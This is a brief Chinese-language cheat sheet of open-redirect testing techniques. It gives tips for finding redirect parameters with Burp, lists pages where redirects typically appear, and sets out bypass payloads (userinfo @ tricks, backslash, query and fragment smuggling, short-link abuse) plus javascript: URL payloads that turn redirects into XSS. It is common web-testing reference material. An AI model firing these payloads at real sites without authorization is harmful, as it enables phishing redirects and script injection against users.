URL跳转常见payload

URL跳转常见payload

一些手法：

• burp 按响应码排序，主要看302的部分。
• history搜索url= 然后一个一个分析。

一些常见出现跳转的场景：

登录、注册、注销、改密，第三方应用交互，页面切换，业务完成跳转、返回上级、账号切换、保存设置、下载文件等等。

一些绕过手法：

//baidu.com

http://www.origin.com@baidu.com

https://baidu.com?a=http://www.origin.com

https://baidu.com?#http://www.origin.com

http://www.origin.com\@baidu.com

配合html文件上传来绕过。

一个特殊的思路

如果存在可自定义短链接指向任意地址，则可以绕过很多只检测主域名相同的重定向拦截。

url跳转导致的xss

?url=javascript:alert(1)

?url=javascript://%0Aalert(1)